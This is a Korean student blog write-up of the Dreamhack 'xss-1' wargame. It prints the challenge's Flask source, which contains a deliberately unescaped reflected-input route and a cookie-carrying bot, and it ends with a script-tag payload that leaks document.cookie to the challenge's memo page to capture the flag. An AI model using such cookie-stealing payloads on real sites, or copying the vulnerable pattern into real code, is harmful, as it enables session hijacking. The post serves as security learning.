swuforce 심화팀/워게임 스터디

[드림핵] xss-1

ran831 2025. 9. 30. 15:42

문제 설명

여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다.
XSS 취약점을 이용해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다.

플래그 형식은 DH{...} 입니다.

 


풀이

먼저 xss 취약점이 무엇인지 공부하겠습니다.

 

XSS(Cross-Site Scripting)란 웹 보안 취약점 중 하나로, 웹 애플리케이션에서 악의적인 스크립트를 삽입하여 사용자의 브라우저에서 실행되게 하는 공격입니다.

 

해당 악성 스크립트는 세션 쿠키를 탈취하거나 사용자 브라우저에서 악의적인 동작을 수행해 사용자 ID 등을 탈취할 수 있습니다.


문제 파일은 다음과 같습니다.

 

생성한 서버는 위와 같이 이루어져 있습니다. 

 

  • vuln(xss) page

실행하면 1이라는 숫자가 나타납니다.

  • memo

hello라는 값이 출력되는데, 해당 링크를 두 번 들어갔더니 hello 값이 두 번 출력되었습니다.

  • flag

flag 값을 입력하는 공간인 것 같습니다.

 

입력받는 공간에 flag라고 입력했더니 "good"이 출력됩니다.

 

소스코드를 확인해 보겠습니다.

#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"


def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        service = Service(executable_path="/chromedriver")
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True


def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)


@app.route("/")
def index():
    return render_template("index.html")


@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    return param


@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'


memo_text = ""


@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text)


app.run(host="0.0.0.0", port=8000)

app.py 파일은 위와 같은 코드로 짜여져 있습니다.

 

음청 복잡하내요..

 

  • read_url()

url을 매개변수로 받아 브라우저를 실행하는 코드로, 

도메인 127.0.0.1에 대한 쿠키를 설정하고 해당 url로 이동을 시도합니다.

 

  • check_xss

param 인수에 악성 스크립트 문자열을 넣어 xss 공격을 가능하게 합니다.

 

위의 코드 해석한 결과, flag 페이지의 입력란에 악성 스크립트 문자열을 삽입하면 문제가 해결될 것으로 보입니다.

 

url 값은 제공된 도메인/쿠키 값 제공할 메모 페이지의 주소값을 사용하면 됩니다.

저는 java를 배운적이 없어서 메서드는 따로 공부했습니다.

 

window 제어 및 문서 관련 메서드

window.close() 현재 창 또는 탭을 닫는다.
window.print() 브라우저의 출력 대화 상자를 연다.
window.focus() 현재 창에 포커스를 맞추고 앞으로 가져온다.
window.stop() 웹 페이지의 로딩을 중지시킨다.
atob()/btoa() Base-64 디코딩/인코딩을 수행한다.

 

공격 구문=<script>window.open('http://127.0.0.1:8000/memo?memo=hello'+document.cookie)</script>

해당 공격 구문을 flag에 입력하고 다시 memo에 들어가보면

flag 값을 확인할 수 있습니다.

'swuforce 심화팀 > 워게임 스터디' 카테고리의 다른 글

[드림핵] image-storage  (0) 2025.10.28
Web Goat를 통한 XSS 실습  (0) 2025.09.30
[드림핵] BISC Safe  (2) 2025.09.23
rev-basic-3 공부 내용 정리  (0) 2025.09.23
[드림핵] rev-basic-3  (1) 2025.09.22